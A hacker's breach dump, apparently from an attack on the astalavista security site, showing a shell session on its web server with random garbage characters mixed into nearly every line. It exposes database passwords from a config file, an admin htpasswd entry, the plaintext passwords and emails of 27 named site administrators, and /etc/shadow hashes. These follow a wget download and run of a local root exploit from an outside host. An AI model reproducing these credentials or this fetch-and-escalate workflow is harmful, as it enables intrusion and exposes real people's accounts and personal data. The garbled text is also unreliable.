drwxr-xr-x 7 astanet astanet 4096 Jan 5 2006 _0mysql
! o2 Y' \% S2 m" E: j' v$ _. bdrwxr-xr-x 7 astanet astanet 4096 Dec 22 14:16 链接标记astanet@astalavista.com# H2 I" l$ _! \6 N2 w
drwxrwxrwx 2 astanet astanet 4096 Jan 5 2006 backend/ l6 j5 V+ i6 P2 j, R
drwxr-xr-x 2 astanet astanet 4096 Oct 24 2006 banner: o) t: ?% ]6 [2 l1 R+ Q7 {
-rw-r–r– 1 astanet astanet 25724 Apr 4 2006 banner.jpg
* S# B' b1 w5 [7 c( X9 ddrwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 config
+ ?. I" o a4 O+ r4 g. Y3 `drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 cron6 a' B; i2 Y# ^# t; ?+ a- Y
drwxr-xr-x 11 astanet astanet 4096 Jan 5 2006 dvd7 e6 l- z: |) @, b. r$ _/ W$ P
-rw-r–r– 1 astanet astanet 36 Jan 5 2006 error.php2 d. U2 G. T) H; ^' W6 ]
-rw-r–r– 1 astanet astanet 1406 Jan 5 2006 favicon.ico
) a' C+ ?) Q( odrwxrwxrwx 2 astanet astanet 4096 Dec 15 2006 feed/ b+ }$ I- _0 u; ]5 ~$ l; z
drwxr-xr-x 3 astanet astanet 4096 Dec 8 2006 flashtour3 i2 }% S7 F. [' e
-rw-r–r– 1 astanet astanet 18 Jan 5 2006 htaccess {9 Z) F/ [; Q# A; C
-rw-r–r– 1 astanet astanet 585 Mar 24 14:50 .htaccess8 I6 C+ f$ N6 l" E7 j5 k P
-rw-r–r– 1 astanet astanet 398 Jan 5 2006 index1.php
/ Z2 _( G. R) l-rw-r–r– 1 astanet astanet 1036 Jan 5 2006 _index.html: ]3 Z, s) X! E
-rw-r–r– 1 astanet astanet 6880 Dec 23 14:44 index.php
6 T3 K8 G P: h. i6 f! D9 ]- O1 S-rw-r–r– 1 astanet astanet 676 Mar 21 2006 index_redirect.php8 e0 [$ H6 S6 D. f- `
-rw-r–r– 1 astanet astanet 739 Feb 24 2006 index.swf5 A# j9 L# {* E7 y3 j
drwxr-xr-x 4 astanet astanet 4096 Oct 18 2006 irc
1 ^; n3 \) M, |" N9 E; sdrwxr-xr-x 4 astanet astanet 4096 Aug 11 2006 lang
3 V X. F: R' F! ?4 `drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 lib
* H3 C$ Q* B5 T4 D6 n+ udrwxr-xr-x 6 astanet astanet 4096 Aug 11 2006 log
; C: G9 l6 R" w: ]3 r1 v: W7 Odrwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 member1 D: A2 H* Y- a: R
drwxrwxrwx 5 astanet astanet 4096 Jun 4 00:03 memberdata8 n3 H* F! N" g5 j- Y4 x% D+ B
drwxr-xr-x 2 astanet astanet 4096 Jan 5 2006 new
4 x$ I8 L$ S4 Q! [1 Z" u% Q' }-rw-r–r– 1 astanet astanet 7219 Feb 24 2006 pix1.swf
B0 U4 b% D+ R) w& R( ? ldrwxr-xr-x 2 astanet astanet 4096 Oct 27 2006 re9 `+ k% y7 T$ L' ~- N
-rw-r–r– 1 astanet astanet 23 Jan 5 2006 robots.txt
) o( G7 q: v! u8 T& ?9 tdrwxr-xr-x 3 astanet astanet 4096 Aug 11 2006 rss
, {6 H; M' i" B1 Fdrwxr-xr-x 39 astanet astanet 4096 Dec 13 2007 sources
# J! E7 X, G% e, W6 Ldrwxrwxrwx 3 astanet astanet 4096 Feb 2 15:40 temp_com
" |. ^% D# s# E0 r6 r- ydrwxr-xr-x 7 astanet astanet 4096 Aug 11 2006 themes
# \3 o; P+ O, ^drwxr-xr-x 2 astanet astanet 4096 Mar 14 2008 tmp_src+ c0 S4 Y0 R: W/ Y$ C
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 tpl L. s6 u5 k- }6 W
drwxr-xr-x 3 astanet astanet 4096 Sep 7 2006 v2
8 F- s4 ?6 Y5 T. h3 A6 Y% R& Vdrwxr-xr-x 16 astanet astanet 4096 Jul 5 2006 v2_old
5 Y9 f1 [' q( J9 O-rw-r–r– 1 astanet astanet 35 Dec 4 2006 webcash.php
3 f7 q: B: I! p3 gdrwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 wiki
5 l# d8 T& }9 V
; m" D6 R+ `& Q% esh-3.2$ head -20 index.php
+ @- B9 Q1 K' d% e<?PHP2 P i0 A* Z8 F ^" g
/**
) f) W) Y; n+ n5 j% c! l* Mainfile (external) for astalavistaNET v2.00 `; q+ y& |% |) K
*/ p D9 C) r- d. [7 y
* @copyright Astalavista IT Engineering GmbH( n, V9 f$ A0 ? H/ h
* @author Thomas Kaelin <链接标记thomas.kaelin@astalavista.ch>
$ V- f* I7 a& c% L" A* [* @version 1.05 n, i8 [8 f, R4 V3 Y# k
*/
1 g: h0 q( Q3 w( h1 O& [0 z9 x
1 {2 b1 v/ i2 ]0 _/ ? if ($_SERVER['PHP_SELF'] == ‘/webcash.php’) {) z- j8 b9 y4 X0 w Y+ b
$dontStartSession = false;9 Y, E6 v: U' {) Z- y
} else {$ | ?+ g& h( m* ?
$dontStartSession = true;0 c# S1 `4 N0 P3 \3 |
}
5 v! j$ V6 j R" N9 c2 J3 u @6 Z require_once($_SERVER['DOCUMENT_ROOT'].’/config/com.conf.php’);
8 ^7 e$ U5 m$ r- v require_once($_SERVER['DOCUMENT_ROOT'].’/config/ext.conf.php’);
: H# c0 N3 ]. f require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’com.class.php’);8 p, H+ {( J6 d/ w ?0 C! J
require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’ext.class.php’);: |+ b6 D1 _! e6 f _3 ^! D* X
' N# Y! k/ C) Bsh-3.2$ cd config
- V% Y- |# B# `# X# `$ g6 Fsh-3.2$ ls -la/ T0 ?! K' v) V Y% ~3 R0 p9 `
total 32& u0 v( j3 ?+ E$ {
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 .1 @$ g! k6 X* u* V0 Z+ y7 e# r
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
& o4 Y) L% a' Q4 d& ~( K-rw-r–r– 1 astanet astanet 987 Aug 11 2006 adm.conf.php
' \, ?: V& _" |8 O& o7 I-rw-r–r– 1 astanet astanet 4937 Dec 23 15:48 com.conf.php4 u2 t0 M% T* m0 W5 o, j
-rw-r–r– 1 astanet astanet 913 Aug 11 2006 cron.conf.php$ n3 s0 Z/ B1 z+ E ~% K; i
-rw-r–r– 1 astanet astanet 1668 Aug 20 2008 ext.conf.php
& l% H, h N* p8 t-rw-r–r– 1 astanet astanet 2724 May 30 2007 int.conf.php1 H& C( g# j) U6 A$ G: w. ]: x
% G- u0 T+ P; y# S- a
sh-3.2$ cat com.conf.php6 ]' n* P9 b- K" u. h
[snip]
h! T! l5 u. u0 g//member-database4 [( [! p* p- [' d" e1 K" ?
$_CONFIG['db_mem_server'] = ‘localhost’;
+ o! k, |6 Y% \- a# S/ I* \. A$_CONFIG['db_mem_database'] = ‘astanet_membersystem’;
9 \) q4 g; ?) \2 {9 v F$_CONFIG['db_mem_user'] = ‘astanet_db’;; O( R# a# i4 U
$_CONFIG['db_mem_password'] = ‘TXwVrC7hbq’;6 o8 j" e+ H- T0 \9 c- }3 Q3 c
$_CONFIG['db_mem_debug'] = false; //true or false$ p0 t7 l& v. H$ }# P" ~1 |& ~
//ads-database
7 \# O3 ~, p" p0 d- q6 }& i# u3 x$_CONFIG['db_ads_server'] = ‘localhost’;! W% F7 G2 {3 E! Q% R& O2 I
$_CONFIG['db_ads_database'] = ‘astanet_ads’;
6 k0 \* R& i3 t# U/ |( H% h$_CONFIG['db_ads_user'] = ‘astanet_db’;! t# y" G' j; K9 a6 ~' v
$_CONFIG['db_ads_password'] = ‘TXwVrC7hbq’;& I2 L& l8 G$ i4 u( W" O/ v
$_CONFIG['db_ads_debug'] = false; //true or false
0 P t. @8 Z7 y" t( y1 V- V. b//rainbow-database
: ^. Z. {5 S* \% e* A- ^$_CONFIG['db_rainbow_server'] = ‘212.254.194.163′;8 b) n. _2 F8 U) r' A* y% [
$_CONFIG['db_rainbow_database'] = ‘rainbow’;" r; B9 C/ a# Z! X
$_CONFIG['db_rainbow_user'] = ‘dinu’;8 [+ g" l3 q6 y2 W, P
$_CONFIG['db_rainbow_password'] = ‘dinudinu’;" L, e4 ~8 q w; r& d
$_CONFIG['db_rainbow_debug'] = false; //true or false( x0 P! E7 D+ c( H
//mailing lists database
$ ?3 K; @ b# _8 \$_CONFIG['db_mailing_lists_server'] = ‘localhost’;
/ I7 Y2 y3 V& e5 c9 g" Q5 w$_CONFIG['db_mailing_lists_database'] = ‘astanet_mailing_lists’;- k! ]$ Y A0 l9 f0 E
$_CONFIG['db_mailing_lists_user'] = ‘astanet_db’;
0 i2 d' L) A+ P: V4 W$_CONFIG['db_mailing_lists_password'] = ‘TXwVrC7hbq’;+ `: M* u; G4 @9 c6 E- b# p
$_CONFIG['db_mailing_lists_debug'] = false; //true or false
5 T7 O$ r! m q* P2 p" l" m//paypal, s4 d t& l+ U# z! B+ J0 [
$_CONFIG['sub_pp_url'] = ‘链接标记[url]https://www.paypal.com/cgi-bin/webscr[/url]’;* o; m; I( s( o: }9 E5 c
$_CONFIG['sub_pp_cmd'] = ‘_xclick’;. R% h& t4 r. ~$ d% J
$_CONFIG['sub_pp_business'] = ‘链接标记info@astalavista.net’;, n, s7 F4 U2 {) G7 k) y
$_CONFIG['sub_pp_noship'] = ‘1′;3 F C4 ~3 W) M5 f* ]- N
$_CONFIG['sub_pp_referer'] = ‘链接标记[url]https://www.paypal.com/[/url]’;* B6 _5 O5 z! J3 k- n( z
[snip]
9 x% W- T. Y+ G4 }/ w4 R6 \: ]9 A
- B; R" @0 V7 `! b% a% u5 ^sh-3.2$ cd ..' O% D- d+ F8 m5 c7 V! P4 ?
sh-3.2$ cd member
3 z8 p) ]) {8 u! H; h3 l" @sh-3.2$ ls -la
- ~0 Q, p3 A- Y: t' Q7 o F' itotal 204 E& U$ V: u/ T* i
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 .
7 v6 a; _- k2 p @drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
3 x8 \ b, H! w-rw-r–r– 1 astanet astanet 19 Jan 13 14:02 .htaccess" D2 c6 z3 ]! C1 b8 m1 e
-rwxr-xr-x 1 astanet astanet 6709 Jan 13 14:06 index.php+ w0 O7 {1 Q! v. a0 P
sh-3.2$ cat .htaccess3 i3 \# \) t7 O2 T4 Y& y+ x1 R
SecFilterEngine off* G0 `5 R7 N! J; k# C8 Y! F; }
}/ g1 L7 M# w/ D( Esh-3.2$ cd ..
+ s: q# Q- T6 h, S( ^% Ysh-3.2$ cd cron
. {0 ~- a. x" r4 ]3 W' Zsh-3.2$ ls -la
R9 l0 f% b" I+ m- s7 ntotal 1684 |1 q: _4 H+ U) n3 ^9 I, n
drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 .! g* c$ Z, ~0 D1 E! X
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..7 R/ m: X* I: W* _
-rw-r–r– 1 astanet astanet 1272 Jan 12 08:24 0_corefile.php' q0 j9 N" J" ?9 S
-rw-r–r– 1 astanet astanet 2356 Aug 11 2006 0_functions.php
6 h; ~8 B: A7 f4 J4 t0 }-rw-r–r– 1 astanet astanet 3616 Dec 23 15:44 1_daily.php7 z9 f; M" d) b8 t7 W" G
-rw-r–r– 1 astanet astanet 527 Aug 11 2006 1_fivemin.php
' q9 u" q( E+ n+ r. ~-rw-r–r– 1 astanet astanet 5006 Dec 23 15:39 1_hourly.php
! ^5 U/ p1 V6 S, t-rw-r–r– 1 astanet astanet 432 Aug 11 2006 1_weekly.php
+ b! A0 l6 n6 x4 `$ _3 J-rw-r–r– 1 astanet astanet 2277 Aug 11 2006 2_advertising.php
( g& n3 W' `/ e3 w6 D' n. |-rw-r–r– 1 astanet astanet 4882 Dec 23 15:40 2_archives.php
& s8 k4 A9 D+ |-rw-r–r– 1 astanet astanet 3784 Aug 16 2006 2_awstats.sh x3 [9 b" F4 X6 k. A {
-rw-r–r– 1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php- _- \" C) b8 n+ J( \
-rw-r–r– 1 astanet astanet 14979 Jan 12 09:10 2_expire.php
L. x3 I) o( A, w$ q" o/ ~" V-rw-r–r– 1 astanet astanet 7657 Aug 15 2006 2_exploitree_updater.php
3 y, O6 t5 Y) F8 m; ?* z1 y1 j-rw-r–r– 1 astanet astanet 686 Dec 23 16:31 2_filesize.sh
) A/ y/ p$ Y2 w, G-rw-r–r– 1 astanet astanet 9853 Aug 11 2006 2_keywords_old.php! g3 S* w& W- _1 X6 n
-rw-r–r– 1 astanet astanet 15664 Sep 22 2006 2_keywords.php
4 \: O4 G# A/ n% {& h1 [8 J-rw-r–r– 1 astanet astanet 1233 Aug 11 2006 2_proxy_checker.php
: e' V8 p2 ^; ?- ^, u-rw-r–r– 1 astanet astanet 7558 Aug 11 2006 2_proxy_collector.php" w' u4 ^: w& _2 G/ S- L7 G0 K) f9 o
-rw-r–r– 1 astanet astanet 796 Aug 11 2006 99_create_emails.php' U' w& D0 I9 L7 O% ?
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 99_lang_email, J4 T6 \ K3 G# q
-rw-r–r– 1 astanet astanet 9622 Jan 6 16:04 login_reminder.php; _: e& u/ @# f9 x: }' k$ k+ ~# m
-rw-r–r– 1 astanet astanet 9620 Jan 6 16:05 login_reminder_test.php9 b# {5 T* d3 C7 b. [4 \' [
2 M4 z7 ]! Q) u
sh-3.2$ cd ..) Q+ T1 j. S& w+ L. k4 }
sh-3.2$ cd _007+ J2 m$ A2 E, u) X
sh-3.2$ ls -la, w9 z* ~/ ?$ C* H% [
total 24
0 J4 v' t& H6 T0 o* @2 d5 [drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 .
; ~, g. {+ ~" a+ J7 ndrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..2 [9 H2 q4 @6 d) X
-rw-r–r– 1 astanet astanet 96 Dec 23 15:17 .htaccess
: G$ O1 t, I1 U" n9 U8 O( i. U-rw-r–r– 1 astanet astanet 3263 Jan 15 2007 index.php+ M! c/ U6 X( C
-rw-r–r– 1 astanet astanet 20 Dec 27 2006 info.php! f ]; T7 Y" E+ |+ N2 n
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 sitemap/ T. J7 i0 s/ @" D
8 ~* U7 s1 \3 O3 D3 O* T
sh-3.2$ cat .htaccess, g1 p) {. p/ O- e9 D# L( V
authType Basic' |+ `9 Y$ n8 N+ ~- p2 @
authName Admin# G& _5 N! s% H& G9 e
authUserFile /home/astanet/auth/.htadm_pwd1 e, C5 Q7 w+ {+ _3 C E2 [
require valid-user
8 @: [+ O- E' q$ I/ m3 V& R9 `- h m# n& G3 l/ L, ^ j' X6 X
sh-3.2$ cat /home/astanet/auth/.htadm_pwd
! w, b6 y$ c& O3 e+ aadmin2net:CR0bl65MwhfT; a9 i1 k! K) \8 d7 D# ^3 ~
7 m2 p+ S+ E( [9 n1 ?' y* \4 |; ?
sh-3.2$ mysql -u astanet_db -p
, i* d4 G: |# }& N& JEnter password:5 s# o0 J5 E# [; d5 n
Welcome to the MySQL monitor. Commands end with ; or \g.
; D# E3 w6 v7 `6 L. |Your MySQL connection id is 275153
0 T/ v+ L a3 W, o1 i3 R$ Y, ]Server version: 5.0.45-community-log MySQL Community Edition (GPL)
4 M, }* [8 M8 u0 I3 A4 H2 U1 G$ @( j- F# T
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
) _" d; p' x' d. k3 D, v- y& G2 [& |
, B! u# w1 k$ A* }$ F$ c. Imysql> show databases;
0 j' s$ V5 h% q+———————–+
9 B$ z2 N6 b. P5 }" O# d| Database |4 \4 d0 H, t! K4 e3 Z! k
+———————–+& l* }6 U5 D/ g' V
| information_schema |
: E$ _$ H J: h4 k# ^9 N, @6 V3 ^| astanet_ads |
9 Z4 h. ~- j) o( J& F, ]8 k3 x| astanet_mailing_lists |) P* l' S4 |: O3 c
| astanet_mediawiki |
- L' N5 ^2 _. C0 [7 H| astanet_membersystem |; E- T. g$ P9 \" `" k" N
| test |6 [. N0 y2 v/ |- d; t$ y/ v
+———————–+
0 Z) ~$ m, N1 f! A6 rows in set (0.00 sec)# \' M+ @/ l5 ]) [, @
+ b' o4 G. C# J W/ M1 }mysql> use astanet_membersystem: ~4 n, k4 ?3 w3 o5 c; {/ W
Database changed
0 e& p9 ?0 {6 E+ }8 \mysql> show tables;
0 ^9 s0 g/ W: R3 P/ \+———————————–+
' M7 G$ {/ f& c$ i3 C| Tables_in_astanet_membersystem |
. R" ^1 M. k' w, S% a3 c+———————————–+
' w9 b" P+ h( {9 ]+ E+ L- s/ e| blacklist_categories |
% o/ O k9 O' }& A6 m8 ]4 }4 Q; p! i| blacklist_content |0 p7 k6 V. v3 R, ^: p% L! l
| blacklist_levels |0 w9 y! }" Y$ W* a& g. m
| blacklist_mcset |4 G$ N5 I9 u. Y) B5 T: y
| dir_categories |$ A% C; f; ~/ \! y2 S o( s; D: b
| dir_comments |$ v) Q- J3 Y \- v
| dir_links |
* a4 K+ m' J0 ?8 b; X7 e| dir_temp |1 ?' E3 b2 I$ Q
| dir_votes |
" O6 m1 W% i' Z6 S @: Q| documents |
& g. v4 W) L& T7 X& C| documents_categories |$ N7 p3 C* y9 C1 ^
| email_content |
* G6 G1 e& E4 J3 @4 p, `| email_settings |
% ~5 ~, ]* ]( a: ^4 P; L4 s$ }| exploits |
8 U/ k/ S4 _# G| exploits_categories |
5 r! y, z- m T; Y- X| exploittree_categories |
% R1 {; X+ D, d9 x; S| exploittree_exploits |
, Z7 g/ d9 w9 I2 }& n: \2 {- X| home_values |
4 n& U- O. L! c7 P* T| iso_countries |
# U6 G+ b7 k( b( T7 k| links_categories |
% {$ l& l# \$ W. p. o, H/ t% d8 x" N| links_records |2 g. ^/ I. Y# g5 u( l( G
| links_unauth |$ k/ w M& l* [/ b8 B7 H% P
| links_votes |
6 l' g; | w9 N- r* I| log |
v2 h! ^& h7 i| news_categories |
4 S5 o: T4 U5 i% M. _3 R| news_comments |" S; `: l8 I9 z
| news_emoticons |0 d9 ? ]% e+ m: M- r
| news_latest |5 n* R7 h- X' ]" C0 l0 x
| news_messages |7 `5 e# P7 }, S7 k9 g; y! s
| news_statistics |& j* u0 h% H6 l! D" e; ^' `/ o; d
| news_votes |
/ y1 _7 i2 [7 m( A% t% T. r8 T| prices_content |
Y+ a: e8 a1 ^5 p| prices_offers |
+ W7 n+ Q# H- a; t! `# _| rss_settings |8 i5 [8 \4 n# w! n! E$ I1 w
| sessions |' ^4 y, h$ O' U$ m
| stats_signups |7 v! p3 ]# j2 l
| u2u2 |3 |1 V2 u2 v( }4 [
| u2u_contact |1 o- s2 p4 s& k* b; }
| u2u_settings |
, H* S( O+ @& p* W2 E" Z( z| user_keywords_selected_categories |
4 `7 L/ @5 H1 ?8 F+ \| users |
, W$ c4 z% @, m2 ]% M| users_ipn_test |* |, y+ R( z+ r
| users_keyword_values |
. C. y; U; H+ g v4 D| users_profile |7 Z9 K7 j! L e
| users_temp |! `+ J3 R' @7 Z" d6 A9 a
| users_upgrade |
% U5 Y; P* n3 I5 J1 v+ F+———————————–+ j, U9 x% v9 W2 x/ ?
46 rows in set (0.00 sec)2 D1 H- h$ c" ~$ m. t" P: q
3 V! y6 J' }) s; E; t% I
mysql> describe users;1 |# O8 a& a) r% J8 S& Z% r3 D
+————————–+————————————–+——+—–+———————+—————-+2 O1 f' u; k( i. l \% T9 d
| Field | Type | Null | Key | Default | Extra |1 n' \) Z; ^- Q X- W
+————————–+————————————–+——+—–+———————+—————-+# S6 ]( L1 e" L0 h: n' y/ y
| primary_key | smallint(5) unsigned | NO | PRI | NULL | auto_increment |
$ A: t. _% N% G0 c9 Q| user | varchar(50) | NO | | | |
% k! }/ ?% f* m; |% g| nickname | varchar(30) | NO | MUL | anonymous | |9 t( c# j. W8 F
| password | varchar(30) | NO | | | |
3 p b$ ?) j; U+ o+ o/ @- S| userlevel | tinyint(3) | YES | MUL | NULL | |% }" C3 R" q {
| exp | int(8) unsigned | NO | | 0 | |3 ~8 W# `+ V/ w2 N
| email | varchar(50) | NO | | | |: s( ?% ?8 m! p8 q: Y/ e& A; S& N
| ip | varchar(15) | NO | | 0 | |0 W1 {5 m; s v: Q
| proxy | set(’0′,’1′) | NO | | 0 | |
# J2 y) v* _& Q+ e3 w s| logtime | timestamp | NO | | CURRENT_TIMESTAMP | |/ ^+ @4 @. ?2 T% a$ J
| login_reminder_last_sent | timestamp | NO | | 0000-00-00 00:00:00 | |
, T5 k( q" Q Y/ U c7 h! h| anz_in | tinyint(1) | NO | | -1 | |1 n' _6 {* x2 r. F+ E |8 o# {
| status | tinyint(1) unsigned | NO | | 0 | |
( x& o+ S3 Y7 {6 p/ {| checked | set(’0′,’1′,’2′) | NO | | 0 | |
0 d. \1 O, V& L% w! t| freemember | set(’0′,’1′) | NO | | 0 | | B' q. y" m, e" `- t4 U( K) Z( s
| ordertype | set(’transfer’,'wp’,'pp’,'mc’,'CnB’) | YES | | NULL | |
! Z' P d9 ^# O0 E4 W5 z9 N, o5 @| lang | tinytext | NO | | | |
" e K# o6 y4 V6 P| adid | smallint(6) | NO | | 0 | |7 O# _3 {- h+ F9 b
| pp_txn_id | varchar(255) | YES | | NULL | |) O, O% F& ~( Y
| cnb_transaction_id | varchar(255) | YES | | NULL | |
, M6 _+ C% J" x| cnb_order_id | varchar(255) | YES | | NULL | |
7 ]) y0 y! g, J| cnb_user_id | int(11) | YES | | 0 | |
+ v+ n1 K0 U+ T/ v9 Q0 a+————————–+————————————–+——+—–+———————+—————-+
9 W8 l }3 m: }, U22 rows in set (0.01 sec)
2 [8 g R8 ]" ~1 |4 w# _0 T7 M1 A& ~2 w7 P6 K4 K# I: u+ {
mysql> select count(*) as skids from users;% ~% D7 U. u c7 v
+——-+
" U6 G$ H4 Y0 |7 ^0 ^| skids |
! R4 [' q( p- o* k+——-+
5 Z8 t5 g7 N" u" X4 b: \| 25199 |
" n% W4 D# @, ~3 ?; b" A1 n/ y+——-+7 n2 x H2 g' U J3 p, S
1 row in set (0.00 sec)/ G6 o c9 y; |% I3 t3 @
/ S+ a2 c; } S1 _/ A) s
mysql> select user,nickname,password,email from users where userlevel = 1;
7 o$ x$ x4 K1 U8 F0 o' ~+————————–+———————-+——————+———————————–+
4 q& r$ n/ p. \. ?| user | nickname | password | email |
9 Y; _# V6 {3 d. Q: k+————————–+———————-+——————+———————————–+: W6 b. [$ G; ^; r, b
| pascal | prozac | astaman3 | 链接标记info@astalavista.net |
; I6 S6 ~: T& o8 {( p- z$ F6 e9 C| Ivan Schmid | rOOtless1 | astalavista4asta | 链接标记ivan.schmid@comvation.com |! M: |% I% b6 C1 s- H4 ?
| qreymer | Palermo | qblsw85iam | 链接标记eche@home.se |
% r+ ?+ j. u3 M4 T1 V| Christian Wehrli | g0atherd | hitt?74 | 链接标记g0atherd@gmx.net |
' H9 N, [: e6 R4 m8 G0 K: F; P| Andrew Blake | Minky | liq73uid | 链接标记a.blake@har.mrc.ac.uk |
( r2 a: f& {8 S9 G8 e3 @| Martin Wyss | dinu | kj63;cXy | 链接标记martin.wyss@astalavista.net |4 B1 z3 c& v0 E) o
| Leandro Nery | Timan_no_Sanco | nery2002 | 链接标记leandronery@hotmail.com |' ]7 A7 c0 j7 I; d3 L; }
| shaving ryans privates | ShavingRyansPrivates | memberboard313 | 链接标记shavingryansprivates1@hotmail.com |* Q2 N. z9 r1 G" M8 {, z
| Gerben van der Lubbe | Spoofed Existence | Lb59eXg5 | 链接标记spoofedexistence@hotmail.com |
& X* b3 s8 t% T0 Z| David M Lee | Daremo | icG12m03 | 链接标记daremo@hackerheaven.com |6 ]6 p% A$ `- u4 q
| David Corn | akriel | ve3uB$cUku | 链接标记akriel@fallenroot.net |
3 Q, k& y, D7 ^, g& ?| Thomas Kalin | Gwanun | QwErTy123 | 链接标记thomas.kaelin@astalavista.net |0 r% i) d f# w+ [' K$ \& Y& s
| Marcus unknown | Cra58cker | hhCr4ck06 | 链接标记unknownmarcus@hotmail.com |
! W& y# {; e* q3 Z| David Ellis | dellis203 | philip | 链接标记dellis@nightwatchnss.com |
' ?/ X# c5 \( Q! t. } O. x| Lars Christian Solberg | xeor | tF3s4|Nea | 链接标记xeor@hush.com |" [' h$ Z, c3 |. @
| Paulo Santos | Be1er0ph0r1 | amor01 | 链接标记pmsantos@gmx.ch |
4 n1 n# \4 t) j0 }# q| Thomas D?ppen | daha | asta4tom | 链接标记thomas.daeppen@astalavista.ch |6 G. U ^# U" H& O
| Touraj Abbasi Moghaddasi | -Crow1 | NetR0ck | 链接标记toraj.a.m@gmail.com |
. k; T7 V% P( n8 ]$ y: K! E| Fabius Bernet | traviser | wellenreiter100 | 链接标记fabius.bernet@astalavista.ch |9 W( ^8 E+ y w$ |6 \
| Zachary McElroy | duder1 | dirty245dix | 链接标记mcelroyzj@yahoo.com |0 U/ A) t5 T E1 @
| Leron Cohen | cohen2 | leron4free | 链接标记leron@quiredmedia.com |
* s/ v5 O" s+ N, S9 Z* y) F| Beatriz Pontes | anonymous1656 | pitas | 链接标记joao.pedro.pontes@gmail.com |; r6 l l, L1 ?8 T- J6 U0 ^' ~
| Glafkos Charalambous | anonymous2086 | si99490178$# | 链接标记nowayout@webhostline.com |+ ~' x# ^9 ^9 ^. e. c6 A
| developer COMVATION | anonymous2402 | Ri?Q$Q$MVU | 链接标记ivan.schmid@astalavista.ch |- F2 e( g3 S( X- G# J
| Peter Fisher | cyph3r1 | testZer025435 | 链接标记cyph3r@astalavista.com |
8 x+ @7 w' [; u0 `" ?| sykadul | sykadul | ak29eral | 链接标记sykadul@gmail.com |' h# v _5 ?* `) P
| Ronny Janzi | commander1 | mpbdaagf6m | 链接标记ronny.janzi@astalavista.ch |
4 \+ v$ D2 N7 G, S- w& s, A! ]8 d+————————–+———————-+——————+———————————–+$ c& m* u! R% \, m9 g& f6 Z6 b
27 rows in set (0.00 sec)
0 i: T4 Z$ k- m) \. e* C6 {5 {4 m; z; n" L6 Y
mysql> exit;
0 [3 l1 o; Y5 y3 |8 BBye( B# t9 w7 E) D: ?* ~9 S
$ p( M5 u3 R0 q8 `- r$ r6 e
[~] plaintext passwords? yes,$ Y$ b# c7 H- |2 _* G9 L- v5 y" `1 e
Those so called “security professionals” who charge you $6.66 / month to- t) }1 A7 S. F. I
register at their hack-proof portal, save your passwords in plaintext…
4 L8 {% E& l [! O O: fbrilliant!
' a7 h1 l& T' [2 d( s7 R5 E+ `) I# ~6 A/ y6 ]& v3 x4 m6 t
[~] This been fun but we want more.
7 ]# t1 k) B1 z6 f7 _+ x) q9 t+ e9 M9 ~' T, x P" f
sh-3.2$ uname -a
+ n$ ~& } D$ v) X) i" GLinux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
: _- R2 V% E$ f# O, hsh-3.2$ wget 链接标记[url]http://anti.sec.labs/g0troot[/url]0 X' q% a. ]' N/ T1 U7 _, L
–13:33:37– 链接标记[url]http://anti.sec.labs/g0troot[/url]6 ^8 V3 c2 D. t( j4 t7 w
Resolving anti.sec.labs… 13.33.33.370 ~: u# b- g1 T
Connecting to anti.sec.labs|13.33.33.37|:80… connected.2 g$ k I1 m5 u- \& A
HTTP request sent, awaiting response… 200 OK
$ p+ [" q3 M2 D% b/ kLength: 18200 (18K) [text/plain]
9 f% G( p1 a7 N- C* aSaving to: `g0troot’
6 p Q, X* s. H& \0 Q2 k \* \ H+ l- {: i; p
100%[=========================================================================================================================================>] 18,200 58.6K/s in
3 x' U( `7 l# D& v5 Y4 X0.3s$ g! w( G# r) r$ p$ v7 n% N2 e
/ I" D/ e8 V; f& r18:55:14 (58.6 KB/s) - `g0troot’ saved [18200/18200]
. k! S! J: C9 I1 y0 X. d0 _
4 O- ]# _' r8 Y& H4 O; L, Q1 Gsh-3.2$ ./g0troot -i x86_64, ?( z, B6 t( \) o1 B2 ]
[+] g0troot - anti.sec.labs
/ b) m7 \! M6 C3 \& Y a- B. Y+ I& G[+] Target: 2.6.18-128.1.10.el5; J' i! C9 m4 Q; g& R
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]
& y# M9 ^2 V" M; Z+ `. V5 Q. i2 j
[+] r00tr00t
P7 x! G0 i2 H* `[~] Executing shell…
$ [6 l6 S: a9 ?! B$ P, J& c2 W! e' g' @1 `9 A$ Q
sh-3.2# id' d# C" k' n1 d3 j* Z$ P
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
( p0 g& @* |" v+ O% K, e, V/ d5 [& s7 |' O8 @% K, F. u
sh-3.2# cat /etc/shadow2 q! i: T* ~( `. M2 G5 X! z
root 1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::
0 X1 y5 a- T* h2 V[snip]# |4 N9 o+ ?8 z. Q' P
admin1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::" k: [" C2 \1 a/ u
jon1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::
" X* ]: g# T, w" U) R1 r9 I) wcom1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::
' d. J9 Z+ m7 b3 D: o- \astanet1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::
